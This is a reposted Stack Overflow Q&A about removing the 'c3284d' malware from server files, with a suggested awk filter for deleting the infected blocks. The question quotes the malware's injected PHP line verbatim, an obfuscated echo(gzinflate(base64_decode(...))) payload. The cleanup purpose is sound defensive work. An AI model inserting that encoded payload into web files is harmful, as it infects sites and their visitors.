gpt4 book ai didi

linux - 使用搜索和替换清理感染了 c3284d 病毒的服务器

转载 作者:太空狗 更新时间:2023-10-29 12:20:19 25 4
gpt4 key购买 nike

我遇到了 Notorious c3284d 病毒的问题。它几乎修改了它能找到的所有 html/php/js 文件。

我已经更改了服务器上的所有密码和用户,所以如果它是一个被盗用的帐户,它应该已经解决了这个问题,但我仍在努力将其完全删除。

我能够使用简单的 sudo grep -R "#c3284d#"/home 命令找到所有受感染的文件。

但我需要一种快速的方法来搜索和替换它。

病毒签名是这一行:

"#c3284d#" echo(gzinflate(base64_decode("VVHBboMwDL1X6j/kZtA6GKgMdaOVummHnfYB6xQFYkokmqSJS+nfD1hXbb7ZfvZ7fi585ZSlzXzWCcf4ka2ZNNXpgJqiyqEgfGtxzAJQtRMHhHAxn7EhuB6w4JG2RE6VJ0J4ns/48ZPrrwC8q2DBoCGyT3HcoHBkamtajDRS3B/ayDYWwmki8nQZGtZ4RcpMa0XpTXtbeQWclaRm7CaPtv9LNgkrjZPoBlItOrUXZFx08ui2+/EUpSX2H3UA8kHkIlmmZZ5lSZ5Kkad1nS9FIqo0S1YrCNkdS/7parGmkfU+y1b5D/HNorNThAEUUnVMyfUOOJdOyG4HmyIeipvpxBt8j3S18+XyLoNfNISRsBa1fG1UKwN+HIeK+Pqabw=="))); "#/c3284d#"

当回显行可以改变和变化时,它总是以 #c32..# 开始并以 #/c3....# 结束。

我只想用什么替换它。

最佳答案

awk 'BEGIN { clean=1 } /#c3284d#/ { clean=0 } /#\/c3284d#/ { clean=1 } { if (clean==1 && match($0,"#\/c3284d#") == 0) { print $0 } }' dirty-file > clean-file

虽然有点啰嗦,但确实有用:

$ cat <<'EOF' | awk 'BEGIN { clean=1 } /#c3284d#/ { clean=0 } /#\/c3284d#/ { clean=1 } { if (clean==1 && match($0,"#\/c3284d#") == 0) { print $0 } }'
> foo
> #c3284d#
> bar
> baz
> #/c3284d#
> quux
> EOF
foo
quux

关于linux - 使用搜索和替换清理感染了 c3284d 病毒的服务器,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/11490744/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com